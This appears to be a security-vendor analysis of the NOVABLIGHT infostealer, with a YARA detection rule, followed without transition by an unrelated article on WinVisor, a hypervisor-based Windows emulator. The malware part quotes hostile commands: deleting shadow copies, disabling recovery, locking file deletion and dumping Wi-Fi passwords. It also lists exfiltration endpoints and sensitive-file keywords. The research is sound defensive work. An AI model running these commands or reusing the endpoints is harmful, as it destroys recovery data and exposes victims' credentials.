• https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json

Disable Defender & attempts to disable Task Manager

NOVABLIGHT attempts to disable Windows Defender and related Windows security features by downloading and executing a batch script, DisableWD.bat, from a public GitHub repository.

The malware claims to be capable of disabling the Task Manager, making it difficult for a non-technical user to identify and terminate the malicious program. It uses setValues from the regedit-rs package to set the DisableTaskMgr value to 1 under HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System.

However, looking at the regedit-rs repo (v1.0.3 to match), there are no exported functions named setValues, only putValue. This functionality may not work as intended.

Disable internet access

To disrupt the victim's internet connection, the malware employs two distinct methods. The first involves persistently disabling the Wi-Fi adapter by repeatedly resetting it in a rapid loop, utilizing the external npm package wifi-control and its resetWiFi function.

The second method disables the primary “Ethernet” network adapter using the netsh command, running it every 5 seconds to disable re-enabling attempts.

Defeat system recovery

The malware can sabotage system recovery by disabling the Windows Recovery Environment (reagentc /disable) and deleting all Volume Shadow Copies (vssadmin delete shadows /all) when the antireset flag is enabled in the configuration.

Blocking file deletion

Another system sabotage function that might be apparent to the victim involves making the malware’s own executable file undeletable by modifying its security permissions through icacls “${filePath}” /deny ${currentUser}:(DE,DC) where DE denies delete rights and DC prevents deletion via the parent folder and optionally creating a pop-up message box containing a “troll” message.

Before locking itself, it also executes a PowerShell command to remove the victim’s account from the following system groups: Administrators, Power Users, Remote Desktop Users, Administrateurs.

Clipboard address substitution

The malware implements a "clipper" module that actively monitors the clipboard of the machine for any Crypto or Paypal addresses and replaces them with addresses defined in the configuration, if the user who built the payload did not provide their own addresses, the malware defaults to a hardcoded set, presumably controlled by the developers to capture funds from their less experienced users.

Electron application injections

NOVABLIGHT can inject malicious code into several popular Electron-based applications. The payloads are dynamically fetched from the endpoint https://api.nova-blight[.]top/injections/*targeted_application*/*some_key*, targeting applications such as:

• Discord client
• Exodus wallet
• Mullvad VPN client
• Atomic wallet
• Mailspring email client

We were able to retrieve all of the modules from a public GitHub repository.

The injection implementation is a classic example of Electron App repacking: unpacking the ASAR file, rewriting any targeted source files, then repacking it. Looking at an example involving the Mullvad client, it first unpacks Program Files\\Mullvad VPN\\resources\\app.asar into a temporary directory, fetches a backdoored version of account.js from https://api.nova-blight[.]top/injections/mullvad/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s, overwrites the source file account.js, and finally repacks it. While it might still work for older versions of Mullvad such as 2025.4, this does not seem to work on the latest version of Mullvad.

In a similar case for the Exodus client, the NOVABLIGHT developers modified the setPassphrase function in the main module of the Exodus application, with additional credential-stealing functionalities.
This is what main/index.js looks like in a legitimate release of Exodus 25.28.4:

In the trojanized index.js, user-entered passphrases are exfiltrated via configurable Discord webhooks and Telegram - using either the official Telegram API or a custom Telegram API proxy.

Chrome sensitive data extraction

For targeting Chromium-based browsers (Brave, Chrome, Edge) running on version 137, the malware downloads a zip file containing a Chrome data decryption tool from https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip.

The GitHub repository attempts to masquerade as a Minecraft voting management tool.

However, the zip file bin.zip contains the compiled code (decrypt.exe and chrome_decrypt.dll) of version 0.11.0 of the Chrome App-bound decrypter PoC project by xaitax.

System enumeration

Once active, NOVABLIGHT executes a comprehensive suite of system enumeration functions designed to build a complete profile of the victim's machine and user activity. Each module targets a specific piece of information, which is then saved to a local directory before being uploaded to the command-and-control server. Detection engineers should note the specific implementations of each technique, and which data source(s) provide sufficient visibility.

• captureSystemInfo(): Gathers extensive hardware and software specifications to fingerprint the device. This includes the Hardware ID (HWID), CPU and GPU models, RAM size, disk information, Windows OS version, and a list of all connected USB devices.
• Output: *configured_path*/System Info.txt

• captureScreen(): Captures a full screenshot of the victim's desktop, providing immediate insight into the user's current activity.
  • Method: Utilizes the screenshot-desktop library.
  • Output: A timestamped image file (e.g., configured_path/hostname_2025-10-26_14-30-00.png`).
• captureTaskList(): Obtains a list of all currently running processes for situational awareness, allowing the attacker to see what applications and security tools are active.
  • Method: Executes the command tasklist /FO CSV /NH.
  • Output: *configured_path*/TaskManagerInfo.txt
• captureAVDetails(): Identifies the installed antivirus or endpoint protection product by querying the Windows Security Center.
  • Method: Executes the PowerShell command Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List
  • Output: *configured_path*/Avdetails.txt
• captureClipboardContent(): Dumps the current content of the user's clipboard, which can contain sensitive, transient information like passwords or copied messages.
  • Method: Executes the PowerShell command Get-Clipboard.
  • Output: *configured_path*/Clipboard.txt
• captureWebcamVideo(): Covertly records a video using the system's primary webcam, providing visual intelligence on the victim and their environment.
  • Method: Leverages the direct-synch-show library for video capture.
  • Output: *configured_path*/Bighead.avi
• captureWifiPasswords(): Exfiltrates the passwords for all saved Wi-Fi networks on the device, allowing for potential lateral movement or access to other networks the victim uses.
  • Method: Executes the command netsh wlan show profile *wifi_ssid* key=clear for each profile.
  • Output: *configured_path*/WifiPasswords.txt
• getFilesUrgents: This functionality exfiltrate files on disk according to a set of keywords as follow: backup, default, code, discord, token, passw, mdp, motdepasse, mot_de_passe, login, secret, account, acount, apacht, banque, bank, matamask, wallet, crypto, exdous, 2fa, a1f, memo, compone, finance, seecret, credit, cni, these files are archived as files.zip then sent to the C2.

Data exfiltration

There are 3 channels for the stolen data: the official web panel owned by the NOVABLIGHT group, the Discord webhook API, and the Telegram API. The status of these channels is uncertain, as the main proxy API and web panel are currently down, which may disrupt the functionality of the Discord and Telegram channels if they rely on the same proxy infrastructure.

The web panel was once the official exfiltration channel, as it was advertised as their primary data management platform.

The Telegram implementation first tries to send the data to a configured proxy URL, the code checks if the URL contains the string req in this case https://bamboulacity.nova-blight[.]xyz/req/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s.

If the proxy URL is not configured or does not meet the condition, the module falls back to communicating directly with the official Telegram API (at https://api.telegram[.]org/bot*token*/sendMessage) using a configured userId, chatId and botToken to send the stolen data.

Unlike the Telegram module, the Discord webhook implementation is much simpler. It utilizes a single URL for exfiltration with no fallback mechanism. The analyzed samples consistently used the custom proxy URL for this purpose.

NOVABLIGHT employs a redundant and multi-tiered infrastructure. Instead of relying on a single upload host, which would create a single point of failure, the malware leverages a combination of legitimate third-party file-hosting services and its own dedicated backend. The following is the extracted list of domains and endpoints:

• https://bashupload[.]com
• https://litterbox.catbox[.]moe/resources/internals/api.php
• https://tmpfiles[.]org/api/v1/upload
• https://oshi[.]at/
• http://sendfile[.]su/
• https://wsend[.]net
• https://api.gofile[.]io/servers
• https://gofile[.]io/uploadFiles
• https://rdmfile[.]eu/api/upload
• https://bamboulacity.nova-blight[.]xyz/file/

Targeted data

NOVABLIGHT executes targeted routines designed to steal credentials and session files from a specific list of installed software. The curated list is available in this GitHub Gist.

Obfuscation techniques

Array mapping

The first technique to tackle is the malware’s use of array mapping. The script initializes a single large global array __p_6Aeb_dlrArray with values of different types and encoding, which accounts for nearly all literal values used in the script.

After substituting array index references, many small string chunks that make up a full string are split and concatenated at runtime, but at this stage, the NOVABLIGHT versioning number can be identified easily.

String encoding

The second technique used to hide strings is the usage of base91 encoding. The function wrapper __p_xIFu_MAIN_STR is called with an integer argument.

The integer is an index of a secondary array mapping __p_9sMm_array that contains encoded strings. It retrieves the encoded string and passes it to the decoding routine __p_xIFu_MAIN_STR_decode.

__p_xIFu_MAIN_STR_decode will then decode it using a custom alphabet:
vFAjbQox\>5?4K$m=83GYu.nBIh\<drPaN\^@%Hk:D_sSyz"ER9/p,(*JwtfO)iUl&C\[~\}\{|Z+gX1MqL;60!e]T#2cVW7 and return the decoded string.

Access pattern obfuscation

Instead of accessing objects and functions directly, the code uses intermediate flattened “proxy” objects with mangled keys, wrapping objects in another layer of objects to hide the original access patterns.

For example, the function __p_LQ1f_flat_… is passed a flat object __p_w3Th_flat_object. This object contains 3 get accessors for properties, one of which returns the disableNetwork flag retrieved from the config, and a wrapper for a dispatcher call (__p_jGTR_dispatcher_26). Throughout the code, there is a pattern where the property names start with empretecerian.js, which happens to also be the script file’s name. The callee function can then access the actual objects and functions through this flat object populated by the caller.

Control flow obfuscation

Some of the code’s execution path is routed through a central dispatcher, __p_jGTR_dispatcher_26, in which the first argument name takes a short ID string.

Each ID is mapped to a distinct function. For example, the ID jgqatJ is referenced by the modules/init/Troll.js module and it is responsible for a “troll” popup message box.

Proxy variables

First, the obfuscation transforms function syntax to “rest parameters syntax” which replaces the parameters with an array that stores variable values instead of direct variables, the code then references the array with numerical values. For instance, the function __p_xIFu_MAIN_STR_decode is not called with direct parameters. Instead, its arguments are first placed into the __p_A5wG_varMask array (line 22), and the function is programmed to retrieve them from predefined indices. For example, at line 25, the index -36 of the array stores the index of the character "c" in a string stored in __p_A5wG_varMask[171].

NOVABLIGHT and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

• Execution
• Persistence
• Defense Evasion
• Credential Access
• Discovery
• Collection
• Command and Control
• Exfiltration

Techniques

• Obfuscated Files or Information
• Process Discovery
• Command and Scripting Interpreter: PowerShell
• Command and Scripting Interpreter: JavaScript
• Data Staged: Local Data Staging
• System Information Discovery
• File and Directory Discovery
• Screen Capture
• Clipboard Data
• Video Capture
• Virtualization/Sandbox Evasion: System Checks
• Account Access Removal
• Credentials from Password Stores: Credentials from Web Browsers
• Impair Defenses: Disable or Modify Tools
• Exfiltration Over Web Service: Exfiltration to Cloud Storage

Conclusion

NOVABLIGHT shows how even lesser-known malware can make an impact. By offering a polished, easy-to-use tool through platforms like Telegram and Discord, its creators have made it simple for anyone to get involved in cybercrime.

Furthermore, this threat is not static. Our analysis confirms that NOVABLIGHT is under continuous and active development. This ongoing evolution ensures that NOVABLIGHT will remain a persistent and relevant threat for the foreseeable future.

Detecting NOVABLIGHT

YARA

Elastic Security has created YARA rules to identify this activity.

rule Windows_Infostealer_NovaBlight {
    meta:
        author = "Elastic Security"
        creation_date = "2025-07-18"
        last_modified = "2025-07-28"
        os = "Windows"
        arch = "x86"
        category_type = "Infostealer"
        family = "NovaBlight"
        threat_name = "Windows.Infostealer.NovaBlight"
        reference_sample = "d806d6b5811965e745fd444b8e57f2648780cc23db9aa2c1675bc9d18530ab73"

    strings:
        $a1 = "C:\\Users\\Administrateur\\Desktop\\Nova\\"
        $a2 = "[+] Recording..." fullword
        $a3 = "[+] Capture start" fullword
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.gatewatcher.com/lab/groupe-nova-sentinel/
• https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/

In Windows 10 (version RS4), Microsoft introduced the Windows Hypervisor Platform (WHP) API. This API exposes Microsoft's built-in hypervisor functionality to user-mode Windows applications. In 2024, the author used this API to create a personal project: a 16-bit MS-DOS emulator called DOSVisor. As mentioned in the release notes, there have always been plans to take this concept further and use it to emulate Windows applications. Elastic provides a research week (ON Week) twice per year for staff to work on personal projects, providing a great opportunity to begin working on this project. This project will be (unimaginatively) named WinVisor, inspired by its DOSVisor predecessor.

Hypervisors provide hardware-level virtualization, eliminating the need to emulate the CPU via software. This ensures that instructions are executed exactly as they would be on a physical CPU, whereas software-based emulators often behave inconsistently in edge cases.

This project aims to build a virtual environment for executing Windows x64 binaries, allowing syscalls to be logged (or hooked) and enabling memory introspection. The goal of this project is not to build a comprehensive and secure sandbox - by default, all syscalls will simply be logged and forwarded directly to the host. In its initial form, it will be trivial for code running within the virtualized guest to "escape" to the host. Safely securing a sandbox is a difficult task, and is beyond the scope of this project. The limitations will be described in further detail at the end of the article.

Despite having been available for 6 years (at the time of writing), it seems that the WHP API hasn’t been used in many public projects other than complex codebases such as QEMU and VirtualBox. One other notable project is Alex Ionescu's Simpleator - a lightweight Windows user-mode emulator that also utilizes the WHP API. This project has many of the same goals as WinVisor, although the approach for implementation is quite different. The WinVisor project aims to automate as much as possible and support simple executables (e.g. ping.exe) universally out of the box.

This article will cover the general design of the project, some of the issues that were encountered, and how they were worked through. Some features will be limited due to development time constraints, but the final product will at least be a usable proof-of-concept. Links to the source code and binaries hosted on GitHub will be provided at the end of the article.

Hypervisor basics

Hypervisors are powered by VT-x (Intel) and AMD-V (AMD) extensions. These hardware-assisted frameworks enable virtualization by allowing one or more virtual machines to run on a single physical CPU. These extensions use different instruction sets and, therefore, are not inherently compatible with each other; separate code must be written for each.

Internally, Hyper-V uses hvix64.exe for Intel support and hvax64.exe for AMD support. Microsoft's WHP API abstracts these hardware differences, allowing applications to create and manage virtual partitions regardless of the underlying CPU type. For simplicity, the following explanation will focus solely on VT-x.

VT-x adds an additional set of instructions known as VMX (Virtual Machine Extensions), containing instructions such as VMLAUNCH, which begins the execution of a VM for the first time, and VMRESUME, which re-enters the VM after a VM exit. A VM exit occurs when certain conditions are triggered by the guest, such as specific instructions, I/O port access, page faults, and other exceptions.

Central to VMX is the Virtual Machine Control Structure (VMCS), a per-VM data structure that stores the state of the guest and host contexts as well as information about the execution environment. The VMCS contains fields that define processor state, control configurations, and optional conditions that trigger transitions from the guest back to the host. VMCS fields can be read or written to using the VMREAD and VMWRITE instructions.

During a VM exit, the processor saves the guest state in the VMCS and transitions back to the host state for hypervisor intervention.

WinVisor overview

This project takes advantage of the high-level nature of the WHP API. The API exposes hypervisor functionality to user-mode and allows applications to map virtual memory from the host process directly into the guest's physical memory.

The virtual CPU operates almost exclusively in CPL3 (user-mode), except for a small bootloader that runs at CPL0 (kernel-mode) to initialize the CPU state before execution. This will be described in further detail in the Virtual CPU section.

Building up the memory space for an emulated guest environment involves mapping the target executable and all DLL dependencies, followed by populating other internal data structures such as the Process Environment Block (PEB), Thread Environment Block (TEB), KUSER_SHARED_DATA, etc.

Mapping the EXE and DLL dependencies is straightforward, but accurately maintaining internal structures, such as the PEB, is a more complex task. These structures are large, mostly undocumented, and their contents can vary between Windows versions. It would be relatively simple to populate a minimalist set of fields to execute a simple "Hello World" application, but an improved approach should be taken to provide good compatibility.

Instead of manually building up a virtual environment, WinVisor launches a suspended instance of the target process and clones the entire address space into the guest. The Import Address Table (IAT) and Thread Local Storage (TLS) data directories are temporarily removed from the PE headers in memory to stop DLL dependencies from loading and to prevent TLS callbacks from executing before reaching the entry point. The process is then resumed, allowing the usual process initialization to continue (LdrpInitializeProcess) until it reaches the entry point of the target executable, at which point the hypervisor launches and takes control. This essentially means that Windows has done all of the hard work for us, and we now have a pre-populated user-mode address space for the target executable that is ready for execution.

A new thread is then created in a suspended state, with the start address pointing to the address of a custom loader function. This function populates the IAT, executes TLS callbacks, and finally executes the original entry point of the target application. This essentially simulates what the main thread would do if the process were being executed natively. The context of this thread is then "cloned" into the virtual CPU, and execution begins under the control of the hypervisor.

Memory is paged into the guest as necessary, and syscalls are intercepted, logged, and forwarded to the host OS until the virtualized target process exits.

As the WHP API only allows memory from the current process to be mapped into the guest, the main hypervisor logic is encapsulated within a DLL that gets injected into the target process.

Virtual CPU

The WHP API provides a "friendly" wrapper around the VMX functionality described earlier, meaning that the usual steps, such as manually populating the VMCS before executing VMLAUNCH, are no longer necessary. It also exposes the functionality to user-mode, meaning a custom driver is not required. However, the virtual CPU must still be initialized appropriately via WHP prior to executing the target code. The important aspects will be described below.

Control registers

Only the CR0, CR3, and CR4 control registers are relevant for this project. CR0 and CR4 are used to enable CPU configuration options such as protected mode, paging, and PAE. CR3 contains the physical address of the PML4 paging table, which will be described in further detail in the Memory Paging section.

Model-specific registers

Model-Specific Registers (MSRs) must also be initialized to ensure the correct operation of the virtual CPU. MSR_EFER contains flags for extended features, such as enabling long mode (64-bit) and SYSCALL instructions. MSR_LSTAR contains the address of the syscall handler, and MSR_STAR contains the segment selectors for transitioning to CPL0 (and back to CPL3) during syscalls. MSR_KERNEL_GS_BASE contains the shadow base address of the GS selector.

Global descriptor table

The Global Descriptor Table (GDT) defines the segment descriptors, which essentially describe memory regions and their properties for use in protected mode.

In long mode, the GDT has limited use and is mostly a relic of the past - x64 always operates in a flat memory mode, meaning all selectors are based at 0. The only exceptions to this are the FS and GS registers, which are used for thread-specific purposes. Even in those cases, their base addresses are not defined by the GDT. Instead, MSRs (such as MSR_KERNEL_GS_BASE described above) are used to store the base address.

Despite this obsolescence, the GDT is still an important part of the x64 model. For example, the current privilege level is defined by the CS (Code Segment) selector.

Task state segment

In long mode, the Task State Segment (TSS) is simply used to load the stack pointer when transitioning from a lower privilege level to a higher one. As this emulator operates almost exclusively in CPL3, except for the initial bootloader and interrupt handlers, only a single page is allocated for the CPL0 stack. The TSS is stored as a special system entry within the GDT and occupies two slots.

Interrupt descriptor table

The Interrupt Descriptor Table (IDT) contains information about each type of interrupt, such as the handler addresses. This will be described in further detail in the Interrupt Handling section.

Bootloader

Most of the CPU fields mentioned above can be initialized using WHP wrapper functions, but support for certain fields (e.g. XCR0) only arrived in later versions of the WHP API (Windows 10 RS5). For completeness, the project includes a small “bootloader”, which runs at CPL0 upon startup and manually initializes the final parts of the CPU prior to executing the target code. Unlike a physical CPU, which would start in 16-bit real mode, the virtual CPU has already been initialized to run in long-mode (64-bit), making the boot process slightly more straightforward.

The following steps are performed by the bootloader:

1. Load the GDT using the LGDT instruction. The source operand for this instruction specifies a 10-byte memory block which contains the base address and limit (size) of the table that was populated earlier.

2. Load the IDT using the LIDT instruction. The source operand for this instruction uses the same format as LGDT described above.

3. Set the TSS selector index into the task register using the LTR instruction. As mentioned above, the TSS descriptor exists as a special entry within the GDT (at 0x40 in this case).

4. The XCR0 register can be set using the XSETBV instruction. This is an additional control register which is used for optional features such as AVX. The native process executes XGETBV to get the host value, which is then copied into the guest via XSETBV in the bootloader.

This is an important step because DLL dependencies that have already been loaded may have set global flags during their initialization process. For example, ucrtbase.dll checks if the CPU supports AVX via the CPUID instruction on startup and, if so, sets a global flag to allow the CRT to use AVX instructions for optimization reasons. If the virtual CPU attempts to execute these AVX instructions without explicitly enabling them in XCR0 first, an undefined instruction exception will be raised.

5. Manually update DS, ES, and GS data segment selectors to their CPL3 equivalents (0x2B). Execute the SWAPGS instruction to load the TEB base address from MSR_KERNEL_GS_BASE.

6. Finally, use the SYSRET instruction to transition into CPL3. Prior to the SYSRET instruction, RCX is set to a placeholder address (CPL3 entry point), and R11 is set to the initial CPL3 RFLAGS value (0x202). The SYSRET instruction automatically switches the CS and SS segment selectors to their CPL3 equivalents from MSR_STAR.

When the SYSRET instruction executes, a page fault will be raised due to the invalid placeholder address in RIP. The emulator will catch this page fault and recognize it as a “special” address. The initial CPL3 register values will then be copied into the virtual CPU, RIP is updated to point to a custom user-mode loader function, and execution resumes. This function loads all DLL dependencies for the target executable, populates the IAT table, executes TLS callbacks, and then executes the original entry point. The import table and TLS callbacks are handled at this stage, rather than earlier on, to ensure their code is executed within the virtualized environment.

Memory paging

All memory management for the guest must be handled manually. This means a paging table must be populated and maintained, allowing the virtual CPU to translate a virtual address to a physical address.

Virtual address translation

For those who are not familiar with paging in x64, the paging table has four levels: PML4, PDPT, PD, and PT. For any given virtual address, the CPU walks through each layer of the table, eventually reaching the target physical address. Modern CPUs also support 5-level paging (in case the 256TB of addressable memory offered by 4-level paging isn't enough!), but this is irrelevant for the purposes of this project.

The following image illustrates the format of a sample virtual address:

Using the example above, the CPU would calculate the physical page corresponding to the virtual address 0x7FFB7D030D10 via the following table entries: PML4[0xFF] -> PDPT[0x1ED] -> PD[0x1E8] -> PT[0x30]. Finally, the offset (0xD10) will be added to this physical page to calculate the exact address.

Bits 48 - 63 within a virtual address are unused in 4-level paging and are essentially sign-extended to match bit 47.

The CR3 control register contains the physical address of the base PML4 table. When paging is enabled (mandatory in long-mode), all other addresses within the context of the CPU refer to virtual addresses.

Page faults

When the guest attempts to access memory, the virtual CPU will raise a page fault exception if the requested page isn't already present in the paging table. This will trigger a VM Exit event and pass control back to the host. When this occurs, the CR2 control register contains the requested virtual address, although the WHP API already provides this value within the VM Exit context data. The host can then map the requested page into memory (if possible) and resume execution or throw an error if the target address is invalid.

Host/guest memory mirroring

As mentioned earlier, the emulator creates a child process, and all virtual memory within that process will be mapped directly into the guest using the same address layout. The Hypervisor Platform API allows us to map virtual memory from the host user-mode process directly into the physical memory of the guest. The paging table will then map virtual addresses to the corresponding physical pages.

Instead of mapping the entire address space of the process upfront, a fixed number of physical pages are allocated for the guest. The emulator contains a very basic memory manager, and pages are mapped "on demand." When a page fault occurs, the requested page will be paged in, and execution resumes. If all page "slots" are full, the oldest entry is swapped out to make room for the new one.

In addition to using a fixed number of currently mapped pages, the emulator also uses a fixed-size page table. The size of the page table is determined by calculating the maximum possible number of tables for the amount of mapped page entries. This model results in a simple and consistent physical memory layout but comes at the cost of efficiency. In fact, the paging tables take up more space than the actual page entries.

There is a single PML4 table, and in the worst-case scenario, each mapped page entry will reference unique PDPT/PD/PT tables. As each table is 4096 bytes, the total page table size can be calculated using the following formula:

PAGE_TABLE_SIZE = 4096 + (MAXIMUM_MAPPED_PAGES * 4096 * 3)

By default, the emulator allows for 256 pages to be mapped at any one time (1024KB in total). Using the formula above, we can calculate that this will require 3076KB for the paging table, as illustrated below:

In practice, many of the page table entries will be shared, and a lot of the space allocated for the paging tables will remain unused. However, as this emulator functions well even with a small number of pages, this level of overhead is not a major concern.

The CPU maintains a hardware-level cache for the paging table known as the Translation Lookaside Buffer (TLB). When translating a virtual address to a physical address, the CPU will first check the TLB. If a matching entry is not found in the cache (known as a “TLB miss”), the paging tables will be read instead. For this reason, it is important to flush the TLB cache whenever the paging tables have been rebuilt to prevent it from falling out of sync. The simplest way to flush the entire TLB is to reset the CR3 register value.

Syscall handling

As the target program executes, any system calls that occur within the guest must be handled by the host. This emulator handles both SYSCALL instructions and legacy (interrupt-based) syscalls. SYSENTER is not used in long-mode and, therefore, is not supported by WinVisor.

Fast syscall (SYSCALL)

When a SYSCALL instruction executes, the CPU transitions to CPL0 and loads RIP from MSR_LSTAR. In the Windows kernel, this would point to KiSystemCall64. SYSCALL instructions won't inherently trigger a VM Exit event, but the emulator sets MSR_LSTAR to a reserved placeholder address — 0xFFFF800000000000 in this case. When a SYSCALL instruction is executed, a page fault will be raised when RIP is set to this address, and the call can be intercepted. This placeholder is a kernel address in Windows and won't cause any conflicts with the user-mode address space.

Unlike legacy syscalls, the SYSCALL instruction doesn't swap the RSP value during the transition to CPL0, so the user-mode stack pointer can be retrieved directly from RSP.

Legacy syscalls (INT 2E)

Legacy interrupt-based syscalls are slower and have more overhead than the SYSCALL instruction, but despite this, they are still supported by Windows. As the emulator already contains a framework for handling interrupts, adding support for legacy syscalls is very simple. When a legacy syscall interrupt is caught, it can be forwarded to the “common” syscall handler after some minor translations — specifically, retrieving the stored user-mode RSP value from the CPL0 stack.

Syscall forwarding

After the emulator creates the "main thread" whose context gets cloned into the virtual CPU, this native thread is reused as a proxy to forward syscalls to the host. Reusing the same thread maintains consistency for the TEB and any kernel state between the guest and the host. Win32k, in particular, relies on many thread-specific states, which should be reflected in the emulator.

When a syscall occurs, either by a SYSCALL instruction or a legacy interrupt, the emulator intercepts it and transfers it to a universal handler function. The syscall number is stored in the RAX register, and the first four parameter values are stored in R10, RDX, R8, and R9, respectively. R10 is used for the first parameter instead of the usual RCX register because the SYSCALL instruction overwrites RCX with the return address. The legacy syscall handler in Windows (KiSystemService) also uses R10 for compatibility, so it doesn’t need to be handled differently in the emulator. The remaining parameters are retrieved from the stack.

We don’t know the exact number of parameters expected for any given syscall number, but luckily, this doesn’t matter. We can simply use a fixed amount, and as long as the number of supplied parameters is greater than or equal to the actual number, the syscall will function correctly. A simple assembly stub will be dynamically created, populating all of the parameters, executing the target syscall, and returning cleanly.

Testing showed that the maximum number of parameters currently used by Windows syscalls is 17 (NtAccessCheckByTypeResultListAndAuditAlarmByHandle, NtCreateTokenEx, and NtUserCreateWindowEx). WinVisor uses 32 as the maximum number of parameters to allow for potential future expansion.

After executing the syscall on the host, the return value is copied to RAX in the guest. RIP is then transferred to a SYSRET instruction (or IRETQ for legacy syscalls) before resuming the virtual CPU for a seamless transition back to user-mode.

Syscall logging

By default, the emulator simply forwards guest syscalls to the host and logs them to the console. However, some additional steps are necessary to convert the raw syscalls into a readable format.

The first step is to convert the syscall number to a name. Syscall numbers are made up of multiple parts: bits 12 - 13 contain the system service table index (0 for ntoskrnl, 1 for win32k), and bits 0 - 11 contain the syscall index within the table. This information allows us to perform a reverse-lookup within the corresponding user-mode module (ntdll / win32u) to resolve the original syscall name.

The next step is to determine the number of parameter values to display for each syscall. As mentioned above, the emulator passes 32 parameter values to each syscall, even if most of them are not used. However, logging all 32 values for each syscall wouldn't be ideal for readability reasons. For example, a simple NtClose(0x100) call would be printed as NtClose(0x100, xxx, xxx, xxx, xxx, xxx, xxx, xxx, xxx, ...). As mentioned earlier, there is no simple way to automatically determine the exact number of parameters for each syscall, but there is a trick that we can use to estimate it with high accuracy.

This trick relies on the 32-bit system libraries used by WoW64. These libraries use the stdcall calling convention, which means the caller pushes all parameters onto the stack, and they are cleaned internally by the callee before returning. In contrast, native x64 code places the first 4 parameters into registers, and the caller is responsible for managing the stack.

For example, the NtClose function in the WoW64 version of ntdll.dll ends with the RET 4 instruction. This pops an additional 4-bytes off the stack after the return address, which implies that the function takes one parameter. If the function used RET 8, this would suggest that it takes 2 parameters, and so on.

Even though the emulator runs as a 64-bit process, we can still load the 32-bit copies of ntdll.dll and win32u.dll into memory - either manually or mapped using SEC_IMAGE. A custom version of GetProcAddress must be written to resolve the WoW64 export addresses, but this is a trivial task. From here, we can automatically find the corresponding WoW64 export for each syscall, scan for the RET instruction to calculate the number of parameters, and store the value in a lookup table.

This method is not perfect, and there are a number of ways that this could fail:

• A small number of native syscalls don't exist in WoW64, such as NtUserSetWindowLongPtr.
• If a 32-bit function contains a 64-bit parameter, it will be split into 2x 32-bit parameters internally, whereas the corresponding 64-bit function would only require a single parameter for the same value.
• The WoW64 syscall stub functions within Windows could change in such a way that causes the existing RET instruction search to fail.

Despite these pitfalls, the results will be accurate for the vast majority of syscalls without having to rely on hardcoded values. In addition, these values are only used for logging purposes and won't affect anything else, so minor inaccuracies are acceptable in this context. If a failure is detected, it will revert back to displaying the maximum number of parameter values.

Syscall hooking

If this project were being used for sandboxing purposes, blindly forwarding all syscalls to the host would be undesirable for obvious reasons. The emulator contains a framework that allows specific syscalls to be easily hooked if necessary.

By default, only NtTerminateThread and NtTerminateProcess are hooked to catch the guest process exiting.

Interrupt handling

Interrupts are defined by the IDT, which is populated before the virtual CPU execution begins. When an interrupt occurs, the current CPU state is pushed onto the CPL0 stack (SS, RSP, RFLAGS, CS, RIP), and RIP is set to the target handler function.

As with MSR_LSTAR for the SYSCALL handler, the emulator populates all interrupt handler addresses with placeholder values (0xFFFFA00000000000 - 0xFFFFA000000000FF). When an interrupt occurs, a page fault will occur within this range, which we can catch. The interrupt index can be extracted from the lowest 8-bits of the target address (e.g., 0xFFFFA00000000003 is INT 3), and the host can handle it as necessary.

At present, the emulator only handles INT 1 (single-step), INT 3 (breakpoint), and INT 2E (legacy syscall). If any other interrupt is caught, the emulator will exit with an error.

When an interrupt has been handled, RIP is transferred to an IRETQ instruction, which returns to user-mode cleanly. Some types of interrupts push an additional "error code" value onto the stack - if this is the case, it must be popped prior to the IRETQ instruction to avoid stack corruption. The interrupt handler framework within this emulator contains an optional flag to handle this transparently.

Hypervisor shared page bug

Windows 10 introduced a new type of shared page which is located close to KUSER_SHARED_DATA. This page is used by timing-related functions such as RtlQueryPerformanceCounter and RtlGetMultiTimePrecise.

The exact address of this page can be retrieved with NtQuerySystemInformation, using the SystemHypervisorSharedPageInformation information class. The LdrpInitializeProcess function stores the address of this page in a global variable (RtlpHypervisorSharedUserVa) during process startup.

The WHP API seems to contain a bug that causes the WHvRunVirtualProcessor function to get stuck in an infinite loop if this shared page is mapped into the guest and the virtual CPU attempts to read from it.

Time constraints limited the ability to fully investigate this; however, a simple workaround was implemented. The emulator patches the NtQuerySystemInformation function within the target process and forces it to return STATUS_INVALID_INFO_CLASS for SystemHypervisorSharedPageInformation requests. This causes the ntdll code to fall back to traditional methods.

Demos

Some examples of common Windows executables being emulated under this virtualized environment below:

Limitations

The emulator has several limitations that make it unsafe to use as a secure sandbox in its current form.

Safety issues

There are several ways to "escape" the VM, such as simply creating a new process/thread, scheduling asynchronous procedure calls (APCs), etc.

Windows GUI-related syscalls can also make nested calls directly back into user-mode from the kernel, which would currently bypass the hypervisor layer. For this reason, GUI executables such as notepad.exe are only partially virtualized when run under WinVisor.

To demonstrate this, WinVisor includes an -nx command-line switch to the emulator. This forces the entire target EXE image to be marked as non-executable in memory prior to starting the virtual CPU, causing the process to crash if the host process attempts to execute any of the code natively. However, this is still unsafe to rely on — the target application could make the region executable again or simply allocate executable memory elsewhere.

As the WinVisor DLL is injected into the target process, it exists within the same virtual address space as the target executable. This means the code running under the virtual CPU is able to directly access the memory within the host hypervisor module, which could potentially corrupt it.

Non-executable guest memory

While the virtual CPU is set up to support NX, all memory regions are currently mirrored into the guest with full RWX access.

Single-thread only

The emulator currently only supports virtualizing a single thread. If the target executable creates additional threads, they will be executed natively. To support multiple threads, a pseudo-scheduler could be developed to handle this in the future.

The Windows parallel loader is disabled to ensure all module dependencies are loaded by a single thread.

Software exceptions

Virtualized software exceptions are not currently supported. If an exception occurs, the system will call the KiUserExceptionDispatcher function natively as usual.

Conclusion

As seen above, the emulator performs well with a wide range of executables in its current form. While it is currently effective for logging syscalls and interrupts, a lot of further work would be required to make it safe to use for malware analysis purposes. Despite this, the project provides an effective framework for future development.

Project links

https://github.com/x86matthew/WinVisor

The author can be found on X at @x86matthew.

